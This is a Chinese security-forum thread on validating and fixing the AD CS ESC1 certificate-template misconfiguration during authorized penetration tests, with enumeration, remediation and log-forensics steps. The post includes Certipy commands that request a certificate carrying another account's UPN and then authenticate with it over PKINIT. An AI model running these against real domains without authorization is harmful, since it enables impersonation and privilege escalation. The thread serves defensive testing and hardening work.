跳转到帖子

授权渗透中的 AD CS ESC1:从最小化漏洞验证到日志留痕与权限修复

精选回复

发布于

背景

在 Windows 域内渗透测试中,Active Directory Certificate Services(AD CS)经常被忽略。典型的 ESC1 风险不是 CA 服务本身存在软件漏洞,而是证书模板同时允许低权限主体注册、申请者自定义证书主体,并包含可用于域身份认证的 EKU。三项条件叠加后,普通域用户可能为其他账号申请认证证书,绕过原有口令边界。

以下过程仅适用于已书面授权的域环境。验证时应使用客户预先建立的金丝雀账号,不应直接冒用 Domain Admin,也不应导出生产账号的 NTLM 凭据。

问题定位

测试环境假设为 corp.local,域控地址为 10.10.20.10,企业 CA 名称为 CORP-CA。测试账号 audit.user 仅属于 Domain Users,目标是确认其能否为指定的 esc1-canary 账号申请客户端认证证书。

一个可利用的 ESC1 模板通常同时满足以下条件:

  • 模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,即申请者可以在请求中提供 subject 或 SAN。
  • 模板包含 Client Authentication、Smart Card Logon、PKINIT Client Authentication 或 Any Purpose 等认证用途。
  • Domain Users、Authenticated Users 或其他低权限组拥有 Enroll 权限。
  • 未启用经理审批,且授权签名数量为 0。
  • 签发该模板的 CA 证书链被域内 NTAuth 存储信任。

枚举与交叉确认

先使用 Certipy 进行只读枚举,再用系统自带 certutil 交叉确认。不要仅根据工具给出的 Vulnerable 标签下结论,还要核对模板 ACL、EKU 和签发状态。

certipy find -u '[email protected]' -p 'REDACTED' \
  -dc-ip 10.10.20.10 -enabled -vulnerable -stdout

certutil -config 'CA01.corp.local\CORP-CA' -catemplates
certutil -v -template UserAuthentication

重点检查输出中的 Enrollee Supplies Subject、Client Authentication、Enrollment Rights、Authorized Signatures Required 和 Requires Manager Approval。还应确认模板确实发布在目标 CA 上;仅存在于配置分区但未被 CA 发布的模板,不能直接用于申请。

最小化验证步骤

建议由域管理员建立无权限、无业务用途的 esc1-canary 账号,并记录测试窗口。申请时只指定该账号的 UPN,避免使用 Administrator、服务账号或真实员工账号。

# 以低权限测试账号提交请求,目标身份仅使用预置金丝雀账号
certipy req -u '[email protected]' -p 'REDACTED' \
  -dc-ip 10.10.20.10 -ca 'CORP-CA' \
  -template 'UserAuthentication' \
  -upn '[email protected]' -out 'esc1-canary'

# 仅验证证书能否完成 PKINIT;不要在生产环境继续横向移动
certipy auth -pfx 'esc1-canary.pfx' \
  -dc-ip 10.10.20.10 -domain 'corp.local'

如果低权限账号成功取得证书,且该证书可作为 esc1-canary 完成 PKINIT,则已经证明身份边界被突破。测试报告应记录请求 ID、证书序列号、模板名、申请时间、申请者和证书 SAN。即使 PKINIT 因域控证书配置不完整而失败,只要 CA 已签发包含他人 UPN 且具备认证 EKU 的证书,通常仍应作为高风险配置问题处理,并进一步检查环境是否支持 Schannel 证书映射。

日志留痕与取证

CA 上需要启用“审核证书服务”,域控需要启用 Kerberos 身份验证服务审核。常见事件包括:4886 表示 CA 收到申请,4887 表示证书获批并签发,4888 表示申请被拒绝;域控的 4768 可用于确认基于证书的 TGT 请求。模板配置被修改时,还可结合目录服务事件 5136 定位变更主体。

# CA 侧检索证书申请与签发事件
Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4886,4887,4888;
  StartTime=(Get-Date).AddHours(-4)
} | Select-Object TimeCreated,Id,Message

# 域控侧检索测试窗口内的 Kerberos TGT 请求
Get-WinEvent -FilterHashtable @{
  LogName='Security'; Id=4768;
  StartTime=(Get-Date).AddHours(-4)
} | Where-Object {$_.Message -match 'esc1-canary'} |
  Select-Object TimeCreated,Id,Message

# 查询 CA 数据库并按请求 ID、序列号留存证据
certutil -view -restrict "Disposition=20" \
  -out "RequestID,RequesterName,CertificateTemplate,SerialNumber,NotBefore,NotAfter"

调查时应关联 RequesterName 与证书 Subject Alternative Name。正常情况下,申请者与证书映射身份应一致;若普通用户申请的认证证书映射到另一个账号,应优先告警。日志集中平台还可以建立规则:低权限申请者、认证 EKU、SAN 中 UPN 与申请者不一致,三项同时出现即触发高优先级事件。

风险控制与修复

  • 取消 Domain Users、Authenticated Users 等宽泛主体的 Enroll 权限,仅保留明确的业务组。
  • 关闭“Supply in the request”,由 AD 中的账号属性自动构造 Subject 和 SAN。
  • 若模板只用于签名或加密,移除 Client Authentication、Smart Card Logon、Any Purpose 等认证 EKU。
  • 对确需自定义主体的模板启用经理审批或授权签名,并将 CA 管理、模板管理和注册审批职责分离。
  • 优先复制并修正模板,再停止发布旧模板;不要直接删除仍被业务依赖的模板。
  • 对测试及历史异常证书执行吊销,发布新的 CRL,并确认域控和相关服务能够访问 CDP/AIA 地址。
# 在 CA 上按测试记录中的证书序列号确认并吊销
certutil -revoke <CertificateSerialNumber> 4
certutil -crl

# 复测:低权限账号再次申请时应被拒绝
certipy req -u '[email protected]' -p 'REDACTED' \
  -dc-ip 10.10.20.10 -ca 'CORP-CA' \
  -template 'UserAuthentication' \
  -upn '[email protected]'

修复验收不能只看模板界面。应重新导出模板 ACL,确认旧模板已停止签发,并用原测试账号复测。预期结果是请求被拒绝,或签发证书中的身份只能由目录属性构造,无法再指定其他账号。

总结

ESC1 的核心是证书注册权限与身份映射权限发生了错误叠加。授权渗透中应采用“只读枚举、金丝雀账号验证、记录请求 ID、立即吊销证书、原路径复测”的闭环,既能证明权限边界确实可被突破,也能控制验证过程对生产域的影响。

红队攻防路径编排示意图
侦察、入口、横向移动与权限路径梳理示意
日志取证与事件时间线示意图
日志证据、时间线与事件还原示意

ESC1 验证建议把“配置可利用”与“实际签发成功”分开,先做只读确认,再决定是否申请证书。重点同时满足以下条件:

  • 模板允许低权限主体注册;
  • 启用了“申请者在请求中提供者/使用者名称”;
  • 证书用途包含客户端身份验证,例如 Client Authentication、Smart Card Logon 或 Any Purpose;
  • 模板已发布到企业 CA;
  • 不需要经理审批,且授权签名数为 0。

可以先用域内 PowerShell 做只读核查,避免一上来就产生证书申请记录:

Import-Module ActiveDirectory

$base = (Get-ADRootDSE).ConfigurationNamingContext
Get-ADObject \
  -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$base" \
  -LDAPFilter "(objectClass=pKICertificateTemplate)" \
  -Properties displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,
              msPKI-RA-Signature,pKIExtendedKeyUsage,nTSecurityDescriptor |
  Select-Object displayName,
    msPKI-Certificate-Name-Flag,
    msPKI-Enrollment-Flag,
    msPKI-RA-Signature,
    pKIExtendedKeyUsage

其中名称标志需要按位检查,不要只看十进制值:

$CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x00000001

$templates = Get-ADObject \
  -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,$base" \
  -LDAPFilter "(objectClass=pKICertificateTemplate)" \
  -Properties displayName,msPKI-Certificate-Name-Flag

$templates | Where-Object {
    ($_.‘msPKI-Certificate-Name-Flag’ -band $CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) -ne 0
} | Select-Object displayName,msPKI-Certificate-Name-Flag

模板 ACL 最好单独展开确认,因为“Authenticated Users 有读取权限”不等于有注册权限。可以结合 certutil -v -template 查看,也可以从 AD 对象的 DACL 中检查 ExtendedRight;实际判断时要把用户所属的嵌套组一并展开。

certutil -v -template VulnerableTemplate
certutil -config - -ping
certutil -config "CA主机\CA名称" -catemplates

最小化验证阶段,建议使用专门测试账号和明确标记的测试模板,不要冒用高权限账户的 UPN。若必须验证身份字段是否可控,可申请一个指向测试账号自身的短有效期证书,证明 CA 接受请求中的 SAN/UPN 即可;不要继续执行高权限账户认证或票据获取。测试结束后应立即吊销证书、发布 CRL,并保留请求 ID。

日志侧至少关联以下位置:

  • CA 安全日志:事件 4886(收到请求)、4887(签发)、4888(拒绝)、4889(挂起)、4890(证书管理器设置变化);
  • CA 数据库:按 Request ID 查询 RequesterName、CertificateTemplate、SAN、SerialNumber 和 Disposition;
  • 域控安全日志:若证书被用于认证,关注 4768,并检查 Pre-Authentication Type、Certificate Information、Issuer 与 Serial Number;
  • 目录服务变更:若已启用审计,关注 5136,用于追踪模板属性或 ACL 被修改;
  • 模板发布关系:检查 CA 对象的 certificateTemplates 属性是否发生变化。

CA 侧建议开启完整审计,而不是只依赖默认事件:

certutil -setreg CA\AuditFilter 127
Restart-Service CertSvc

auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable

如果事件字段不够完整,可直接从 CA 数据库导出复核:

certutil -view -restrict "RequestID=请求编号" \
  -out "RequestID,RequesterName,Request.Disposition,CertificateTemplate,Subject,SerialNumber,NotBefore,NotAfter"

修复时不要只删除模板上的 Enroll 权限。更稳妥的顺序是:

  1. 先从 CA 取消发布存在问题的模板,阻断新增签发;
  2. 移除“申请者提供主题名称”能力,改为由 AD 自动构建 Subject/SAN;
  3. 将注册权限收敛到专用安全组,清理 Domain Users、Authenticated Users 等宽泛主体;
  4. 按业务需要移除 Client Authentication、Smart Card Logon 或 Any Purpose EKU;
  5. 对确需保留高风险能力的模板启用审批或授权签名,并设置较短有效期;
  6. 查询历史签发记录,吊销异常证书并发布新的 CRL;仅修改模板不会让已签发证书失效;
  7. 检查模板对象的写权限,避免低权限组拥有 WriteDACL、WriteOwner、GenericAll 或可修改关键属性的权限。

另外,修复后应重新跑一次只读枚举,并用原测试账号确认模板不再可注册。很多现场只改了模板 ACL,却忘了同类模板、旧版本模板或另一台企业 CA 仍在发布,最终导致问题实际没有闭环。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。